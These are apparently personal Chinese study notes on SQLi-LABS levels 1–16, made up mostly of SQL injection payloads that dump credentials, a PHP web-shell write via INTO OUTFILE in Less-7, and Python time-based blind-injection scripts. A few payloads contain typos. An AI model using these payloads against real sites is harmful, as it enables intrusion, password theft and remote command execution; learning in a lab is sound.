前言
关于SQLi-LABS的靶场环境以及SQL注入天书都放在阿里云盘中,需要环境的自取
链接:https://www.alipan.com/s/m5AP2eSezDV 提取码: 2x4u
Github获取Sqli-labs项目地址:GitHub - Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based.
个人笔记只做到1-16,SQL注入天书有后续内容
Page-1(Basic Challenges)
Less-1
GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
方法一:手工UNION联合查询注入
输入单引号,页面报错
根据报错信息,可以确定输入参数的内容被存放到一对单引号中间
输入的1在数据库中出现的位置为:select … from … where id='1' ...
注意id=非正确值
爆库payload
union select 1,2,database() --+
得到’security’库名
爆库和版本号payload
?id=' union select 1, database(),version() %23
爆表payload
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
查到 emails,referers,uagents,users,显然users是用户数据表
爆列名(字段)payload
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
爆值payload
?id=0' union select 1,2,group_concat(username,0x3a,password) from users--+
0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的’:’ ,用以分割pasword和username。
方法二:手工报错型注入
检测报错型payload
?id=1' and 1=1--+ //正确
?id=1' and 1=2--+ //失败
证明确实存在手工报错型注入
注意id=正确值
爆表payload
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
爆列名(字段)payload
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
没有完全显示
使用and column_name not in (‘user_id’,‘first_name’,‘last_name’,‘user’,‘avatar’,‘last_login’,‘failed_login’) 来显示其他值
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login')))) --+
爆值payload
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+
同样使用not in显示其他值
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+
方法三:sqlmap工具自动注入
无
Less-2
GET - Error based - Intiger based (基于错误的GET整型注入/数字型注入)
方法一:手工UNION联合查询注入
注意id=非正确值
爆库payload
?id=-1 union select 1,2,database() --+
得到’security’库名
爆表payload
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
查到 emails,referers,uagents,users,显然users是用户数据表
爆列名(字段)payload
?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
爆值payload
?id=0 union select 1,2,group_concat(username,0x3a,password) from users--+
0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的’:’ ,用以分割pasword和username。
方法二:手工报错型注入
检测报错型payload
?id=1 and 1=1--+ //正确
?id=1 and 1=2--+ //失败
证明确实存在手工报错型注入
注意id=正确值
爆表payload
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
爆列名(字段)payload
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
没有完全显示
使用and column_name not in (‘user_id’,‘first_name’,‘last_name’,‘user’,‘avatar’,‘last_login’,‘failed_login’) 来显示其他值
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login')))) --+
爆值payload
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+
同样使用not in显示其他值
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+
方法三:sqlmap工具自动注入
无
Less-3
GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
我们使用?id='
注入代码后,得到像这样的一个错误
这里它意味着,开发者使用的查询是
Select login_name, select password from table where id= (‘our input here’)
再用这样的代码来进行注入
?id=1′) --+
方法一:手工UNION联合查询注入
爆库payload
?id=') unionselect1,database(),version()--+
爆表payload
?id=') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
查到 emails,referers,uagents,users,显然users是用户数据表
爆列名(字段)payload
?id=') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' --+
爆值payload
?id=') union select 1,group_concat(id,email_id),3 from emails--+
方法二:手工报错型注入
检测报错型payload
?id=1') and 1=1--+ //正确
?id=1') and 1=2--+ //失败
证明确实存在手工报错型注入
爆表payload
?id=1') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
爆列名(字段)payload
?id=1') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
显然没有完全显示
使用and column_name not in (‘user_id’,‘first_name’,‘last_name’,‘user’,‘avatar’,‘last_login’,‘failed_login’) 来显示其他值
?id=1') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login')))) --+
爆值payload
?id=1') and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+
同样使用not in显示其他值
?id=1') and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+
方法三:sqlmap工具自动注入
无
Less-4
Error based - Double Quotes - String (基于错误的GET双引号字符型注入)
方法一:手工UNION联合查询注入
输入单引号,页面无任何变化
输入双引号,页面报错
根据报错信息判断出咱们输入的内容被放到一队双引号和圆括号中,
select … from … where id=(”1”) …,把第一题中1后面的引号换成双引号加)就可以了。
注意id=非正确值
爆库payload
?id=") union select 1,2,database() --+
得到’security’库名
爆表payload
?id=") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
查到 emails,referers,uagents,users,显然users是用户数据表
爆列名(字段)payload
?id=") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
爆值payload
?id=") union select 1,2,group_concat(username,0x3a,password) from users--+
0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的’:’ ,用以分割pasword和username。
方法二:手工报错型注入
检测报错型payload
?id=1") and 1=1--+ //正确
?id=1") and 1=2--+ //失败
证明确实存在手工报错型注入
注意id=正确值
爆表payload
?id=1") and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
爆列名(字段)payload
?id=1") and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
没有完全显示
使用and column_name not in (‘user_id’,‘first_name’,‘last_name’,‘user’,‘avatar’,‘last_login’,‘failed_login’) 来显示其他值
?id=1") and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login')))) --+
爆值payload
?id=1") and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+
同样使用not in显示其他值
?id=1") and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+
方法三:sqlmap工具自动注入
无
Less-5
GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
看到这个报错信息,第一反应就是布尔型盲注、报错型注入、时间延迟型盲注了
验证时间延迟型的盲注
?id=1' and sleep(5)--+
发现明显延迟,说明猜测正确。接下来的思路是通过延迟,依次爆破数据库长度,数据库名,表名,列名,以及字段
布尔型和时间延迟型盲注建议采用sqlmap去跑。
其实本题不能称作盲注,因为存在回显,真正的盲注时不存在回显的,只能根据浏览器加载页面情况,判定是否注入成功
方法一:时间延迟型手工注入
时间延迟型手工注入,正确会延迟,错误没有延迟。id无所谓,又不看回显,可以通过浏览器的刷新提示观察延迟情况,但是id正确的时候的回显有利于观察
时间延迟型和报错型 payload核心部分的构造相同
本方法中payload = ?id=1’ and if( 报错型 payload核心部分,sleep(5),1)–+
爆库长payload
?id=1' and if(length(database())=8,sleep(5),1)--+
明显延迟,数据库长度为8
爆库名payload
?id=1' and if(left(database(),1)='s',sleep(5),1)--+
明显延迟,数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)=‘security’
爆表名payload
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+
在limit 3,1 爆破出user表名为users
爆列名payload
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+
尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,lucky的是limit 3,1的时候查到了password列,同样的方法查询username ,又一个lucky,接下来爆破字段的值
爆破值payload
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以不知道是Dumb 还是dumb
方法二,布尔型手工注入
在布尔型注入中,正确会回显,错误没有回显,以此为依据逐字爆破,注意id=1
手工注入时可使用例如left((select database()),1)<‘t’ 这样的比较二分查找方法快速爆破。
爆库payload
?id=1' and left((select database()),1)='s'--+
可以看>'t’无回显,而<'t’有回显。
最终确定的库名为security。
爆表paylaod
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+
修改limit x,1和left中的位数限定数字,爆破到第一张表为referer,终于在第三张表爆破到user表,名为users
爆列名payload
?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' --+
定向爆破制定password为字段名,最后找到第4个字段为password,同理看看有没有usrname,最后到找到了,接下来只需要爆破这两个字段的值就完事了。
爆字段payload
?id=1' and left((select password from users order by id limit 0,1),1)='d' --+
用户名
?id=1' and left((select username from users order by id limit 0,1),1)='d' --+
按照id排序,这样便于对应。注意limit 从0开始.最后爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。
布尔型的盲注比较烦的的就是手工注入很麻烦,必须慢慢试。
方法三,使用concat聚合函数
参考资料:http://www.2cto.com/article/201303/192718.html
简单的说,使用聚合函数进行双注入查询时,会在错误信息中显示一部分错误信息。
比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。
例如select count(*), concat((select version()), floor(rand()*2))as a from information_schema.tables group by a;
查询数据库版本,在phpmyadmin中测试:
可以看到测试的错误信息中出现了版本号。即构造双查询,比如派生表,使一个报错,另一个的结果就会出现在报错的信息中。废话不多说,想了解更详细的看链接的内容,下面进入正题。
payload在concat()中构造
爆库payload
?id=-1'union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
?id=-1'union select count(*),1, concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
爆用户payload
?id=-1' union select count(*),1, concat('~',(select user()),'~', floor(rand()*2)) as a from information_schema.tables group by a--+
爆表名payload
?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
修改limit x,1 可以遍历表名,找到user这个表,猜测它存放username和password
爆列名payload
?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
修改limit x,1 可以遍历列名,找到username和password列
爆字段payload
?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
修改limit x,1 可以显示第x个用户的password和username ('['是分隔符)
Less-6
GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)
双引号字符型注入,上一题的单引号改成双引号就可以了,同样是两种方法:时间延迟型的手工盲注、报错型的手工盲注或者sqlmap,再有利用concat()几聚合数,步骤和第五题一样
验证时间延迟型的盲注
?id=1" and sleep(5)--+
发现明显延迟,说明猜测正确。接下来的思路是通过延迟,依次爆破数据库长度,数据库名,表名,列名,以及字段
布尔型和时间延迟型盲注建议采用sqlmap去跑。
其实本题不能称作盲注,因为存在回显,真正的盲注时不存在回显的,只能根据浏览器加载页面情况,判定是否注入成功
方法一:时间延迟型手工注入
时间延迟型手工注入,正确会延迟,错误没有延迟。id无所谓,又不看回显,可以通过浏览器的刷新提示观察延迟情况,但是id正确的时候的回显有利于观察
时间延迟型和报错型 payload核心部分的构造相同
本方法中payload = ?id=1’ and if( 报错型 payload核心部分,sleep(5),1)–+
爆库长payload
?id=1" and if(length(database())=8,sleep(5),1)--+
明显延迟,数据库长度为8
爆库名payload
?id=1" and if(left(database(),1)='s',sleep(5),1)--+
明显延迟,数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)=‘security’
爆表名payload
?id=1" and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+
在limit 3,1 爆破出user表名为users
爆列名payload
?id=1" and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+
尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,lucky的是limit 3,1的时候查到了password列,同样的方法查询username ,又一个lucky,接下来爆破字段的值
爆破值payload
?id=1" and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
?id=1" and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以不知道是Dumb 还是dumb
方法二,布尔型手工注入
在布尔型注入中,正确会回显,错误没有回显,以此为依据逐字爆破,注意id=1
手工注入时可使用例如left((select database()),1)<‘t’ 这样的比较二分查找方法快速爆破。
爆库payload
?id=1" and left((select database()),1)='s'--+
可以看>'t’无回显,而<'t’有回显。
最终确定的库名为security。
爆表paylaod
?id=1" and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+
修改limit x,1和left中的位数限定数字,爆破到第一张表为referer,终于在第三张表爆破到user表,名为users
爆列名payload
?id=1" and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' --+
定向爆破制定password为字段名,最后找到第4个字段为password,同理看看有没有usrname,最后到找到了,接下来只需要爆破这两个字段的值就完事了。
爆字段payload
?id=1" and left((select password from users order by id limit 0,1),1)='d' --+
用户名
?id=1" and left((select username from users order by id limit 0,1),1)='d' --+
按照id排序,这样便于对应。注意limit 从0开始.最后爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。
布尔型的盲注比较烦的的就是手工注入很麻烦,必须慢慢试。
方法三,使用concat聚合函数
参考资料:http://www.2cto.com/article/201303/192718.html
简单的说,使用聚合函数进行双注入查询时,会在错误信息中显示一部分错误信息。
比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。
例如select count(*), concat((select version()), floor(rand()*2))as a from information_schema.tables group by a;
查询数据库版本,在phpmyadmin中测试:
可以看到测试的错误信息中出现了版本号。即构造双查询,比如派生表,使一个报错,另一个的结果就会出现在报错的信息中。废话不多说,想了解更详细的看链接的内容,下面进入正题。
payload在concat()中构造
爆库payload
?id=-1" union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
?id=-1"union select count(*),1, concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
爆用户payload
?id=-1" union select count(*),1, concat('~',(select user()),'~', floor(rand()*2)) as a from information_schema.tables group by a--+
爆表名payload
?id=-1" union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
修改limit x,1 可以遍历表名,找到user这个表,猜测它存放username和password
爆列名payload
?id=-1" union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
修改limit x,1 可以遍历列名,找到username和password列
爆字段payload
?id=-1" union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
修改limit x,1 可以显示第x个用户的password和username ('['是分隔符)
Less-7
GET - Dump into outfile - String (导出文件GET字符型注入)
winserver的iis默认路径c:\Inetpub\wwwroot
linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等
apache 就…/var/www/htm,…/var/www/html/htdocs
phpstudy 就是…\PhpStudy20180211\PHPTutorial\WWW\
xammp 就是…\xampp\htdocs
在less-2直接注入拿到路径,payload
Less-2/?id=-1 union select 1,@@basedir,@@datadir --+
注入less-7,payload
?id=1')) union select 1,2,'<?php system($_GET[a]);?>' into outfile "Z:\\xampp\\htdocs\\sqli-labs-php7-master\\Less-7\\1.php"--+
?a=dir
Less-8
GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
布尔型盲注,单引号,id=1回显,加工单引号不回显,构造一下验证是不是布尔型payload ?id=1’ and 1=1 --+ 回显了
可以通过 > < 比较字符大小加速爆破
暴库payload
?id=1' and left((select database()),1)='s'--+
库名长度可使用?id=1' and length(database())=8 --+ 判断,同理表名字,段名等。
最后得到库名?id=1' and left((select database()),8)='security' --+
爆表,爆字段,爆值,流水操作,和Less5的方法二,手工注入所有payload一摸一样
Less5的方法二,时间型的注入一样能用,注入完成
方法一:时间延迟型手工注入
?id=1' andif(length(database())=8,sleep(5),1)--+
明显延迟,数据库长度为8
爆库名payload
?id=1' and if(left(database(),1)='s',sleep(5),1)--+
明显延迟,数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)=‘security’
爆表名payload
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+
在limit 3,1 爆破出user表名为users
爆列名payload
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+
首先尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,lucky的是limit 3,1的时候查到了password列,同样的方法查询username ,又一个lucky,接下来爆破字段的值。
爆破值payload
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dum
方法二,布尔型手工注入
在布尔型注入中,正确会回显,错误没有回显,以此为依据逐字爆破,注意id=1
手工注入时可使用例如left((select database()),1)<‘t’ 这样的比较二分查找方法快速爆破。
暴库payload
?id=1' and left((select database()),1)='s'--+
可以看>'t’无回显,而<'t’有回显。
最终确定的库名为security。
爆表paylaod
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+
修改limit x,1和left中的位数限定数字,爆破到第一张表为referer,终于在第三张表爆破到user表,名为users
爆列名payload
?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' --+
定向爆破制定password为字段名,最后找到第4个字段为password,同理看看有没有usrname,最后到找到了,接下来只需要爆破这两个字段的值就完事了。
爆字段payload
?id=1' and left((select password from users order by id limit 0,1),1)='d' --+
用户名
?id=1' and left((select username from users order by id limit 0,1),1)='d' --+
按照id排序,这样便于对应。注意limit 从0开始.最后爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。
布尔型的盲注比较烦的的就是手工注入很麻烦,必须慢慢试。
Less-9
GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)
不管怎么输入,回显总是you are …
时间型盲注,payload
?id=1' and sleep(3) --+
注意id=1,发现明显延迟,说明注入成功,爆破
这道题的payload构造和第五题的方法一是一样的,列一下过程
爆库payload
?id=1' and if(length(database())=4 , sleep(3), 1) --+
发现当?id=1' and if(length(database())=8 , sleep(3), 1) --+时明显延迟,所以库名长为8
猜测数据库
?id=1' and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
说明第一位是 s (ascii 码是 115)
?id=1' and If(ascii(substr(database(),2,1))=101,1,sleep(5))--+
说明第一位是 e (ascii 码是 101)
以此类推,我们知道了数据库名字是 security
猜测 security 的数据表
?id=1'and If(ascii(substr((select table_name from information_s chema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
猜测第一个数据表的第一位是 e,...依次类推,得到 emails
?id=1'and If(ascii(substr((select table_name from information_s chema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+
猜测第二个数据表的第一位是 r,...依次类推,得到 referers
再以此类推,我们可以得到所有的数据表 emails,referers,uagents,user
猜测 users 表的列
?id=1'and If(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
猜测 users 表的第一个列的第一个字符是 i,
以此类推,我们得到列名是 id,username,password 猜测
username 的值
?id=1'and If(ascii(substr((select username from users limit 0,1), 1,1))=68,1,sleep(5))--+
猜测 username 的第一行的第一位
以此类推,我们得到数据库 username,password 的所有内
Less-10
GET - Blind - Time based - double quotes (基于时间的双引号盲注)
基于时间的双引号盲注,只要把上一题Less-9的单引号改成双引号,一样的注入
时间型盲注,payload
?id=1" and sleep(3) --+
注意id=1,发现明显延迟,说明注入成功,爆破
这道题的payload构造和第五题的方法一是一样的,列一下过程
爆库payload
?id=1" and if(length(database())=4 , sleep(3), 1) --+
发现当?id=1' and if(length(database())=8 , sleep(3), 1) --+时明显延迟,所以库名长为8
猜测数据库
?id=1" and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
说明第一位是 s (ascii 码是 115)
?id=1" and If(ascii(substr(database(),2,1))=101,1,sleep(5))--+
说明第一位是 e (ascii 码是 101)
以此类推,我们知道了数据库名字是 security
猜测 security 的数据表
?id=1" and If(ascii(substr((select table_name from information_s chema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
猜测第一个数据表的第一位是 e,...依次类推,得到 emails
?id=1" and If(ascii(substr((select table_name from information_s chema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+
猜测第二个数据表的第一位是 r,...依次类推,得到 referers
再以此类推,我们可以得到所有的数据表 emails,referers,uagents,user
猜测 users 表的列
?id=1" and If(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
猜测 users 表的第一个列的第一个字符是 i
以此类推,我们得到列名是 id,username,password 猜测
username 的值
?id=1" and If(ascii(substr((select username from users limit 0,1), 1,1))=68,1,sleep(5))--+
猜测 username 的第一行的第一位
以此类推,我们得到数据库 username,password 的所有内
Less-11
POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)
通过burp抓包改参数,输入admin admin 登陆,抓包,发送到repeater模块
在repeater中通过修改post的参数进行注入
方法一 extractvalue测试payload
uname=admin' and 1=1 --+ &passwd=admin&submit=Submit //能登陆
uname=admin' and 1=2 --+ &passwd=admin&submit=Submit //不能登陆
说明注入生效,存在报错型注入,接下来又是重复性工作,上extractvalue()
爆库payload
uname=admin' and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit
爆表payload
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+&passwd=admin&submit=Submit
只能查询到前几个表,后面加上not in ()就可以查到其他表了
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not in ('emails')))) --+&passwd=admin&submit=Submit
这里发现没有更多的表了,而users表应该是存放用户信息的,所以进入下一步
爆列名payload
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+&passwd=admin&submit=Submit
同样使用not in 可以查询其他值
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+&passwd=admin&submit=Submit
方法二 联合注入查询
union select注入
爆库payload
'union select database(),version(); #
Less-12
Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)
方法一,双引号报错型注入
构造一个能闭合语句而且会报错的payload
admin" and extractvalue(1,concat(0x7e,(select database()))) and "
最终admin = “admin” and extractvalue(1,concat(0x7e,(select database()))) and " "
concat()中构造查询语句
爆库payload
uname=admin" and extractvalue(1,concat(0x7e,(select database()))) and " &passwd=admin&submit=Submit
爆表payload
uname=admin" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and " &passwd=admin&submit=Submit
爆列payload
uname=admin" and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) and " &passwd=admin&submit=Submit
爆值payload
uname=admin" and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users))) and " &passwd=admin&submit=Submit
方法二 联合注入查询
爆库payload
"union select database(),version() #
方法三 奇淫技巧
报错的内容为:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘admin") LIMIT 0,1’ at line 1
输入的哪里多加了一个双引号和括号,据此构造出万能密码的Payload:
账号:admin")#
Less-13
POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
uname=admin')-- -&passwd=admin&submit=Submit
判断注入点,但是没有回显所以判断是盲注
方法一:报错型盲注
uname=uname=admin') and extractvalue(1,concat(0x7e,(select database()))) -- -&passwd=admin&submit=Submit
方法二:时间型盲注
uname=admin') and if(left(database(),1)='s',sleep(5),1) --+&passwd=admin&submit=Submit
Less-14
POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
在password输入"会报错 "#就不报错了 那么应该是“”的闭合,但是没有回显的值 只有报错的信息
爆库名
" union select count(*),concat_ws('*',(select database()),floor(rand()*2)) as a from information_schema.tables group by a#
有数据库后 开始爆破表名
" union select count(*),concat_ws(';',(select table_name from information_schema.tables where table_schema='security'),floor(rand()*2)) as a from information_schema.tables group by a#
limit绕吧 这是不是个数问题 不能用group绕
" union select count(*),concat_ws(';',(select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a#
得到表名后,爆列名
" union select count(*),concat_ws(';',(select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a#
last 爆破字段 --第一个用户名和密码
" union select count(*),concat_ws(',',(select username from users limit 0,1),(select password from users limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a#
less-15
POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)
怎么输入都没有回显,布尔测试
admin' and 1=1# 成功
admin' and 1=2# 失败
时延测试
admin' and sleep(5)# 成功延迟5s
手工时延注入
数据库长度
uname=admin' and if(length(database())=8,sleep(5),1)#&passwd=admin&submit=Submit
猜数据库名
uname=admin'andif(left(database(),1)='s',sleep(5),1)#&passwd=admin&submit=Submit
猜表名
uname=admin' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)#&passwd=admin&submit=Submit
猜列名
uname=admin'andif(left((select column_name from information_schema.columnswhere table_name='users'limit4,1),8)='password',sleep(5),1)#&passwd=admin&submit=Submit uname=admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
猜字段
uname=admin'andif(left((select username from users orderby id limit0,1),4)='dumb',sleep(5),1)#&passwd=admin&submit=Submit
脚本时延注入
爆库,爆表,爆列名,爆值,使用python脚本
#coding:utf-8
import requests,datetime
url = "http://10.31.7.59/sqli-labs-php7-master/Less-15/"
char = "abcdefghijklmnopqrstuvwxyz_"
print("start!")
for i in range(0,10):
database = ""
for j in range(1,20):
for str in char:
# print(str)
time1 = datetime.datetime.now()
data = {'uname':"admin'and If((mid((select schema_name from information_schema.schemata limit %d,1),%d,1))='%s',1,sleep(5))#"%(i,j,str),'passwd':"1"}
res = requests.post(url,data=data)
# print(res.text)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec<4:
database += str
print(database)
break
print("the %d database: "%i)
print(database)
print("end!")
万能注入
admin'#
成功登录
Less-16
POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)
手工时延注入
跟less15相比单引号改为双引号+括号
脚本时延注入
爆库,爆表,爆列名,爆值
使用python脚本
import requests
import time
from concurrent.futures import ThreadPoolExecutor,wait
url="http://10.31.7.59/sqli-labs-php7-master/Less-16/"
def sql_host(url,cansu):
cansu=chr(cansu)
data={'uname':"admin'and if(left(database(),1)="+cansu+',sleep(5),1)--+',
'passwd':"admin",
'submit':"Submit"
}
time=requests.post(url,data=data).elapsed.total_seconds()
print(time)
sql_host(url,115)